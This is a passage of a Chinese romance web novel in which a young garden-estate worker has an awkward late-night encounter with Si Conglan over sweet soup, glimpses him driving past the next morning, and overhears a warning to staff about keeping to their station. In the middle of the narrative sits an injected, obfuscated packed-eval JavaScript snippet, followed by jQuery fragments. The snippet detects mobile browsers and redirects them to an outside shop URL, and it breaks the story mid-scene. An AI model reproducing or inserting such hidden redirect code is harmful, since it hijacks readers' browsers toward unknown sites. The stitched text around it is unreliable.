直到晚上九，十点，漱石轩那边才散场。大厨房照例给加班的员工备了宵夜，热气腾腾地摆了一桌。
唐岁雪帮徐姐清点完最后一批茶具，过去时已经有些晚了。厨房里没什么人，只剩下角落里一盏灯还亮着。
她端了碗甜汤在靠窗的小桌前坐下。
到了这个点儿别的也不太吃得下去，倒是这碗酒酿熬得浓稠，糯米已经软烂得快化进汤里，带着桂花的丝丝甜味。
她捏着调羹小口小口吃着，眉眼里带着一种近乎稚气的专注。
就在这时，一道颀长的身影无声无息地笼罩下来，挡住了面前的光。
唐岁雪下意识地抬起头，看清来人一口气没提上来差点呛到气管，缓了好一阵才仰起脸，张着那双被水汽洇得清亮的眼睛直直对上来人。
司从岚站在灯影里眼帘半垂，额前几缕打理过的黑发因忙碌了一晚而略显松散，敛去了几分惯常的冷峻，添上些许慵懒。
阒黑的眸子在她泛红的眼角停留片刻：“抱歉，吓到你了。”
送完最后一批宾客，他经过通往厨房的长廊。见到那头的灯还亮着，想起章伯说厨房给加班的人留了宵夜。
廊外夜色沉沉，带着腊梅将落未落的残香。他在廊下站了片刻，最后还是走了过去。刚到门口，就看见那个独自坐在灯下的纤细身影。
没想到有人会对一碗甜汤沉浸到这种程度，连他走近的脚步声都没察觉。
这声道歉非但没有让唐岁雪脸上那点因咳嗽带来的热意消退，反而愈演愈烈。
她咽下嘴里的甜汤把碗往旁边挪了挪，尽量让自己的声音听起来平稳：“司先生。”
司从岚没应，只是慢悠悠地撩起眼看她，眉目透着些许闲适与好奇：“好喝？”
唐岁雪被他那双眼睛看得有些晃神，下意识地点了点头脑子一抽脱口而出：“……还有，您要吗？”
话一出口就后悔了，恨不得咬掉自己的舌头。
司从岚没有立刻回答，偏了下头像是没听清，“再说一遍。”
唐岁雪脑子里绷着的那根弦突然Duang了一声，但又偏偏听清了。
他让她再问一遍“您要吗？”
不知道为什么她的耳朵烫得厉害，喉咙像是被甜汤糊住了，一个字都挤不出来。
司从岚好整以暇地看了她片刻，淡淡一哂，回答：“不了。”
唐岁雪顿时松了口气。
只是话说完他人也没走，反而将一只手随意地插进口袋，另一只手搭在窗沿，目光落在廊外像是在等什么，又像是只是想在这里站一会儿。
唐岁雪觉得这沉默比刚才的对视还难熬，手指捏着调羹柄找了个中规中矩的话题：“您忙了一晚上什么都没吃？”
“没什么胃口。”他的视线从窗外收回来，扫过她鼓着的腮帮子，“你倒是还行。”
听到这里唐岁雪有些难顶，胡乱吃了两口把碗放到托盘上夸地站了起来。
“我吃完了，去还碗。”
说完不看对面人反应，走到厨房门口把托盘搁下，脑子里已经把多嘴的小人拽出来揍了半天，又转念一想——
不是，我有什么可跑的？口袋里那块手帕还没还，刚才那么好的机会。
她闭了闭眼，深吸一口气决定好歹把那句“我是来还手帕的”说完。结果一回头，司从岚已经走到了她身后两步远的地方，手里拿着她刚才搁在桌上的调羹。
“这个忘了。”
唐岁雪完全没想到还有这一茬，懵了一下伸手去接，刚触到调羹柄廊外的风忽然大了一些，吹得窗棂发出一声轻响。
司从岚没有松手，捏着柄端垂眼看着两个人之间那截短短的距离。
手指不可避免沾上了一点将干未干的甜腻，那点黏糊糊的触感像是顺着指尖爬进了心口。
她一个使劲往回抽，倒是大力出奇迹把调羹不尴不尬地攥在掌心，另一只手早在刚才端碗时就沾了些微黏汁水。
这下两只手都不干净了，还怎么给人拿手帕！
人为什么不能在紧急关头靠念力长出第三只？
一股破罐子破摔的自暴自弃奔涌上来，她整个人肉眼可见的萎靡了起来：“算了……手脏，本来就不吉利，再黏糊糊的就更没法要了。”
这话说得没头没尾，那股子憋着气还要哄自己的委屈巴巴里，又夹杂些不自在。
她刚才在他面前把自己摊得太开了，总得找补点儿回来。
司从岚听懂了。
“嗯，有道理。”他没忍住笑出声，顺着她的话一本正经地点了点头，“那就下次。”
说完不再停留，转身走了。
半晌，唐岁雪才慢慢收回还举着的手指。
手心那点黏腻早就凉透了，有些发硬，不知怎么就想起了刚才小雯和小璐的闲聊：
“那位李小姐气质真是绝了，家世好，长得漂亮，还有才，这才是真名媛……”
“跟司先生站一块儿，可真养眼……”
她走到水槽边把调羹搁进去，低头看了一眼桌上那碗没喝完的甜汤。桂花碎屑早已沉到了碗底，凝在将冷未冷的米粒之间浮都浮不起来。
突然觉得这甜汤，也没有那么好吃了。
*
翌日清晨，城中村在冬日寒气里准时苏醒，狭窄的巷子被早点摊蒸腾的白雾笼罩。
油条下锅的滋啦声，电动车压过井盖的吭吭声，早起务工者匆匆的脚步声，混杂成一片粗糙而蓬勃的背景音。
周雪上午没活儿时一贯是要睡到日上三竿的，唐岁雪轻手轻脚洗漱完，裹好围巾出了门。
走到巷口那家熟悉的鸡蛋灌饼摊前，摊主大姐已经麻利地摊开面饼，热气混着蛋香扑面而来。
“姑娘，老样子？”
“嗯，一个鸡蛋灌饼，”唐岁雪点头，想了想又补了一句，“……加里脊。”
“哟，今儿不一样啦？”大姐正往铁板上磕鸡蛋，闻言抬了下头。
唐岁雪抿唇笑了笑，没说话，把围巾往上拉了拉遮住了小半张脸。
要是从早上开始就做点不一样的事，说不定……能改改运气。比如，今天或许就能顺利把手帕还掉？
这个念头冒出来，连她自己都觉得有点傻气，却又忍不住抱着点渺茫的希望。
去地铁的路上她一边走一边咬着饼，到了入口正好吃完。
进站，换乘，出站，扫码骑车，俨然是这套流程的熟练工。
京市冬日早晨连空气都带着清冽的硬度，以口感来比喻来概就是那种脆脆冰？毕竟在她生长了十八年的老家，可没有这种能抽人大嘴巴子的北风。
等她骑到璞园侧门停好共享单车，身上那点骑车带来的微热已散得差不多，指尖又泛起了凉意。
就在这时，璞园的大门缓缓敞开，一辆黑色的宾利从里面驶了出来。
这条紧邻园子的辅路平日里就僻静，往来的人车都不多，这会儿更是没什么人。
那辆车开得很慢，车轮在路面上压出细微声响。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497812|202584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就在它驶离大门即将转对面时，后排深色的车窗玻璃降了下来。
司从岚坐在里面。
他穿着挺括的深色大衣，侧过脸，目光径直朝她这边投来。
冬日的太阳才刚刚露出一点稀薄的金边，光线从他身后斜斜刺入，映着他没什么表情的脸。
那双浓墨似的眼眸在捕捉到她身影的瞬间，瞳仁深处似有星火明灭，氤出了一点笑。
唐岁雪隔着一条马路毫无防备地撞进这道视线里，像是被人迎面浇了一盆水，心里拔凉拔凉。
完。
里脊白加了，人直接出门了。
这运气……还不如前两天呢。
唐岁雪隔着马路目送那辆宾利汇入车流，直到连尾灯都看不见了，才把那股不甘心咽下去，转身进了园子。
上午照例是忙碌的。
清点库房，搬运物品，核对单据。
忙完一茬得了点空，她就去听松居继续整理紫檀匣里剩下的旧物。
柳梦筠也在书房，见她进来从书案后抬起头：“小周来了？今天天气冷，那边小榻旁我让人多备了个手炉，要是觉得凉就用上。”
唐岁雪弯起眼睛道了谢，走到窗边的小榻前坐下。
芳姨和徐姐也在，正在书案对面跟柳梦筠确认明天雅集的细节，几人低声说着话。
外人只当如今的林夫人柳梦筠品味高雅，行事周全，仿佛她摇身一变就从那段不如意的婚姻里脱胎换骨，成了这锦绣丛中游刃有余的女主人。
然而与林国华重逢嫁入林家，并非童话般的破镜重圆。
她从当初与这圈层格格不入处处露怯的外来者，熬到今天能被称一声“林夫人”，其间咽下的冷暖唯有长夜的枕头知道。
那些妥帖与周到并非天生，而是用无数个如履薄冰的日夜，一点点磨出来的生存本能。
几人刚把明日的座次过了一遍，芳姨递上一份清单：“柳总，这是明日茶品和果点的单子，请您过目。茶是备了蒙顶甘露和凤凰单丛，点心按您的吩咐，减了糖霜，多用些本色的糕团。”
柳梦筠接过来目光快速扫过：“茶可以，果子里的金桔饼换掉吧，刘老先生不喜太甜腻的。换成茯苓夹饼，清淡些。”
芳姨应了声是，把单子收回去，站在那里等着听她还有什么吩咐。
徐姐借着请示提了一句席位上用的盆景点缀，说花房那边问是用墨兰还是春兰，墨兰气韵足但春兰这会儿开得正好，香气也清。
柳梦筠略一沉吟：“用春兰。雅集讲究的是雅致鲜活，不必太刻意求古意。告诉花房，选开得精神形态舒展的，叶子上不能有半点尘。”
“明白了，我这就去叮嘱。”
说完她转身要走，又被柳梦筠叫住了。
柳梦筠端起手边的白瓷盏抿了一口，才缓声道：“年底园子里事多，来往的贵客也多。你们多费心，再跟那些年轻姑娘们提醒一声，场面上的事尤其要谨言慎行，恪守本分。”
“有些界限心里得有数，不该有的心思，不动，是为着自己好；不该靠近的人，不僭，也是本分。”
芳姨和徐姐俱是肃然应下，声音不高，但也稳稳当当地落在了这间书房里每一个角落。
窗棱下，唐岁雪正将一叠旧照片放入防潮袋。
她垂下眼，脸上并没有什么表情，只有捏着照片边缘的指腹因为微微用力，而褪去了些许血色，透着淡淡的青白。
停了片刻，她才松开手把照片放入袋中，抚平了封口。